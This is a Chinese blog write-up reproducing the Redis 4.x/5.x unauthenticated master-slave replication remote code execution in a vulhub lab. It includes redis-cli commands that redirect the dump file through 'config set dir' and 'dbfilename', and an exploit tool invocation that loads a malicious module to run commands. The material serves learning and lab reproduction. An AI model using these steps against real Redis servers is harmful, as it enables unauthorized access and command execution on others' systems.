• Redis未授权访问漏洞实战


    本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

    概述

    ​ 本文章主要是针对于vulhub靶场中的Redis 4.x/5.x 主从复制导致的命令执行进行复现,部分复现步骤可以参考vulhub靶场,这里我提供了利用POC工具验证的步骤,相比vulhub更加详细简单。

    漏洞原理

    Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

    本篇文章需要用到的工具下载地址

    POC验证工具:unauthorized_com-main

    EXP利用工具:redis-rogue-getshell-master

    Redis概述

    在复现未授权访问漏洞之前,我们有必要先大致的了解一下Redis是什么,Redis的简单使用与Redis未授权访问漏洞的危害。

    Redis 介绍

    Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

    Redis 数据库经常用于Web 应用的缓存。

    Redis 可以与文件系统进行交互。

    Redis 监听TCP/6379

    Redis 简单使用

    Redis 未设置密码,客户端工具可以直接链接。

    ┌──(root㉿kali)-[~/…/vulhub/vulhub/redis/4-unacc]
    └─# redis-cli -h 10.9.75.101
    10.9.75.101:6379> set name yuanboss
    OK
    10.9.75.101:6379> get name
    "yuanboss"
    10.9.75.101:6379> config set dir /tmp/
    OK
    10.9.75.101:6379> config set dbfilename yuanboss.txt 
    OK
    10.9.75.101:6379> save
    OK
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    Redis未授权漏洞危害

    image-20230901184319687

    漏洞复现

    启动靶场环境

    前往vulhub的redis/4-unacc目录执行以下命令启动靶场环境

    docker-compose up -d
    
    • 1

    POC漏洞验证

    通过我提供的POC验证工具对靶场的IP进行检测,查看是否具有未授权访问漏洞

    image-20230901175612226

    经过POC验证,存在redis未授权访问漏洞

    EXP漏洞利用

    通过我提供的EXP利用工具进行利用,由于这个靶场环境中的redis的版本范围是符合是是主从复制的,具有远程代码执行漏洞:

    注意-r参数指的是目标的IP地址,-L是本机的IP地址,不要用本机的会换地址或者localhost

    python3 redis-master.py -r 10.9.75.101 -p 6379 -L 10.9.75.101 -P 8888 -f RedisModulesSDK/exp.so -c "id" 
    
    • 1

    image-20230901181259340

    可以看到我们利用RCE漏洞成功执行了linux中的 id命令

    总结

    ​ 对于未授权访问漏洞,我们要具有敏锐的嗅觉,未授权访问一般都出现于中间件,比如 zookeeper,docker,redis,wordpress等中间件或者框架,看到这类的中间件或者框架,我们就应该想到是否不需要密码就能访问,这个时候我们就可以直接拿到我们的POC工具进行漏洞验证了,如果发现存在某个漏洞,我们就可以去网上找EXP或者自己编写EXP进行利用。

    ​ 所以未授权访问漏洞的本质其实就是中间件或者CMS框架没有这种密码,导致我们可以直接连接。

  • 相关阅读:
    axios和fetch的区别
    【测试总结】测试时如何定位一个bug?是前端还是后端?
    NLP 自然语言处理实战
    [Codeforces] number theory (R1200) Part.8
    Linux 命令
    使用Python实现一个简单的密码管理器
    sprinboot 引入 Elasticsearch 依赖包
    FreeROTS 任务通知和实操 详解
    Ceph入门到精通-设置和取消设置 Ceph 覆盖选项
    vim快捷键的使用案例
  • 原文地址:https://blog.csdn.net/weixin_46367450/article/details/132629394